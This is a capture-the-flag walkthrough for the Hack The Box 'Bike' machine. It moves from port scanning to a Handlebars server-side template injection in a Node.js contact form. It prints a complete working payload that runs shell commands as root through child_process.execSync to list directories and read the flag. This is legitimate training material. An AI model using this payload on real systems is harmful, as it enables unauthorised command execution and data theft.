The aim of this walkthrough is to provide help with the Bike machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.
It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 1 challenges.
SETUP
There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.
Once our connection is taken care of, we spawn the target machine.
Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $ echo $rhost
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
We could use the unset command to remove it after we no longer need it.
┌─[✗]─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $unset rhost
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
TASK 1
Question: What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.
Starting our recon with a quick connection check is always a good idea.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$ ping $rhost -c 4
PING 10.129.97.64 (10.129.97.64) 56(84) bytes of data.
64 bytes from 10.129.97.64: icmp_seq=1 ttl=63 time=9.73 ms
64 bytes from 10.129.97.64: icmp_seq=2 ttl=63 time=9.72 ms
64 bytes from 10.129.97.64: icmp_seq=3 ttl=63 time=9.49 ms
64 bytes from 10.129.97.64: icmp_seq=4 ttl=63 time=9.56 ms
--- 10.129.97.64 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 9.487/9.621/9.729/0.103 ms
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$
Scanning all the tcp ports on the target tend to be really slow, so we specify the number of packets we send each second. Hopefully this will speed the scans up a bit.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$ nmap -p- --min-rate 5000 $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 13:12 BST
Nmap scan report for 10.129.97.64
Host is up (2.7s latency).
Not shown: 63801 filtered tcp ports (no-response), 1732 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 350.85 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$
Only two ports appear to be open: port 22 and port 80.
22,80
TASK 2
Question: What software is running the service listening on the http/web port identified in the first question?
Using the -sV option with nmap helps us determine the service/version that’s running on the specified port.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$ nmap -sV -p 80 $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 13:19 BST
Nmap scan report for 10.129.97.64
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
80/tcp open http Node.js (Express middleware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$
Using our browser to check it out, this is how the website looks like:
node.js
TASK 3
Question: What is the name of the Web Framework according to Wappalyzer?
Using the Wappalyzer extension in our browser returns Express for the Web framework option.
On the same note, fingerprinting the server with whatweb reveals the same answer.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$ whatweb $rhost
http://10.129.97.64 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.129.97.64], JQuery[2.2.4], Script, Title[Bike], X-Powered-By[Express], X-UA-Compatible[ie=edge]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-gdjzvza4zw]─[~/bike]
└──╼ [★]$
express
TASK 4
Question: What is the name of the vulnerability we test for by submitting {{7*7}}?
Submitting - {{7*7}} - into the E-mail field creates an error message. Hopefully this means that it is vulnerable.
Once the vulnerability is idenfified, we read up on it and once we understand it, we try to exploit it.
server side template injection
TASK 5
Question: What is the templating engine being used within Node.JS?
After taking an other look at the generated error message from TASK4, we notice, that there are multiple mentions of something called handlebars.
0 "Error: Parse error on line 1:"
1 "{{7*7}}"
2 "--^"
3 "Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'"
4 " at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)"
5 " at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)"
6 " at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)"
7 " at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)"
8 " at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)"
9 " at router.post (/root/Backend/routes/handlers.js:15:18)"
10 " at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)"
11 " at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)"
12 " at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)"
13 " at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)"
Since we already identified the vulnerability, it is time to search for ways to exploit it. One of the possible payloads that we find for the handlebar templating engine this:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
handlebars
TASK 6
Question: What is the name of the BurpSuite tab used to encode text?
It should become quite clear once we take a look around the various tabs available in Burp Suite.
decoder
TASK 7
Question: In order to send special characters in our payload in an HTTP request, we’ll encode the payload. What type of encoding do we use?
Since this will be a part of a web request, url-encoding and formatting should be enforced. Therefore, we use the encode as url option in the decoder to encode our payload.
url
TASK 8
Question: When we use a payload from HackTricks to try to run system commands, we get an error back. What is “not defined” in the response error?
First we need capture the http request we send when submitting {{7*7}} into the E-mail field.
We can do this by launching the Burp Suite, turning on the intercept in the Proxy tab and then enabling the FoxyProxy extension in our browser to forward everything to burp. Lastly, we make the same request in our browser as before.
If everything is configured properly, our http request is intercepted and shown us in the Proxy tab. We send it to the Repeater so that we can modify some parts of it.
Then we use the url-encoded payload from TASK7 so, that once our payload is properly fitted, we set it for the email url parameter in the opened Repeater tab.
Once set, we send the request. This is the response we get back:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 1345
ETag: W/"541-sEbhFszxoOHrx2pYd8n5qxybwvM"
Date: Tue, 09 May 2023 14:57:17 GMT
Connection: close
["ReferenceError: require is not defined"," at Function.eval (eval at <anonymous> (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23)), <anonymous>:3:1)"," at Function.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:10:25)"," at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:5:37)"," at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)"," at execIteration (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:51:19)"," at Array.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:61:13)"," at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:12:31)"," at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)"," at Array.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:22:14)"," at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:12:34)"]
require
TASK 9
Question: What variable is the name of the top-level scope in Node.JS?
Obviously, our current payload does not work since we got an error back in TASK8. It is time to start debugging, researching and experimenting.
global
TASK 10
Question: By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?
After an extensive experimenting, we found a payload that works as intended:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
So that once we send it, this is the response we get back:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1226
ETag: W/"4ca-gPkNllwoT4EnMNtziaobU75El+k"
Date: Tue, 09 May 2023 15:25:15 GMT
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="css/home.css">
<title> Bike </title>
</head>
<header>
</header>
<body>
<div id=container>
<img
src="images/buttons.gif"
id="avatar">
<div class="type-wrap">
<span id="typed" style="white-space:pre;" class="typed"></span>
</div>
</div>
<div id="contact">
<h3>We can let you know once we are up and running.</h3>
<div class="fields">
<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit" class="button-54" name="action" value="Submit">Submit</button>
</form>
</div>
<p class="result">
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
root
</p>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="js/typed.min.js"></script>
<script src="js/main.js"></script>
</body>
</html>
It tells us that whatever commands we may use in our payloads, they run with root privileges on the target system.
root
SUBMIT FLAG
Question: Submit root flag
We have to make some further modifications to our payload if we want to display the flag in a http response. First, let us try the current directory and simply list the files there.
# modified payload to list the files in the current directory
...
return process.mainModule.require('child_process').execSync('ls');"
...
Then we url-encode it, and we paste it into our responder as the value for the email parameter. Sending it, and checking the response shows that the flag is not located in the current directory.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1294
ETag: W/"50e-PCaaSkUMRFYZ/FPJ0e3tG6uQSYM"
Date: Tue, 09 May 2023 15:30:44 GMT
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="css/home.css">
<title> Bike </title>
</head>
<header>
</header>
<body>
<div id=container>
<img
src="images/buttons.gif"
id="avatar">
<div class="type-wrap">
<span id="typed" style="white-space:pre;" class="typed"></span>
</div>
</div>
<div id="contact">
<h3>We can let you know once we are up and running.</h3>
<div class="fields">
<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit" class="button-54" name="action" value="Submit">Submit</button>
</form>
</div>
<p class="result">
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
index.js
node_modules
package.json
package-lock.json
public
routes
views
</p>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="js/typed.min.js"></script>
<script src="js/main.js"></script>
</body>
</html>
But looking around in the direct parent directory with cd .. && ls brings us to the flags location.
# modified payload to list the files in our parent directory
...
return process.mainModule.require('child_process').execSync('cd .. && ls');
...
So, using the same play as before:
- url-encode
- paste encoded payload into the email parameter
- send the request
will land us the desired response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1243
ETag: W/"4db-JFmgsumMwk2V9TYqOcZPMdBpJLw"
Date: Tue, 09 May 2023 15:34:05 GMT
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="css/home.css">
<title> Bike </title>
</head>
<header>
</header>
<body>
<div id=container>
<img
src="images/buttons.gif"
id="avatar">
<div class="type-wrap">
<span id="typed" style="white-space:pre;" class="typed"></span>
</div>
</div>
<div id="contact">
<h3>We can let you know once we are up and running.</h3>
<div class="fields">
<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit" class="button-54" name="action" value="Submit">Submit</button>
</form>
</div>
<p class="result">
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
Backend
flag.txt
snap
</p>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="js/typed.min.js"></script>
<script src="js/main.js"></script>
</body>
</html>
Now, all that’s left for us is to grab it. Adjusting our payload again is simple:
...
# modified payload to grab the flag from the parent directory
{{this.push "return process.mainModule.require('child_process').execSync('cd .. && cat flag.txt');"}}
...
Here is the complete final payload we use:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cd .. && cat flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Once we go through all the previous motions again, the flag will be then displayed in our http response.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1254
ETag: W/"4e6-Roh4AtcX7EhzWbQL09jWSVAYe0s"
Date: Tue, 09 May 2023 15:38:00 GMT
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="css/home.css">
<title> Bike </title>
</head>
<header>
</header>
<body>
<div id=container>
<img
src="images/buttons.gif"
id="avatar">
<div class="type-wrap">
<span id="typed" style="white-space:pre;" class="typed"></span>
</div>
</div>
<div id="contact">
<h3>We can let you know once we are up and running.</h3>
<div class="fields">
<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit" class="button-54" name="action" value="Submit">Submit</button>
</form>
</div>
<p class="result">
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
<flag>
</p>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="js/typed.min.js"></script>
<script src="js/main.js"></script>
</body>
</html>
This is how it looks like in burp:
flag
Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!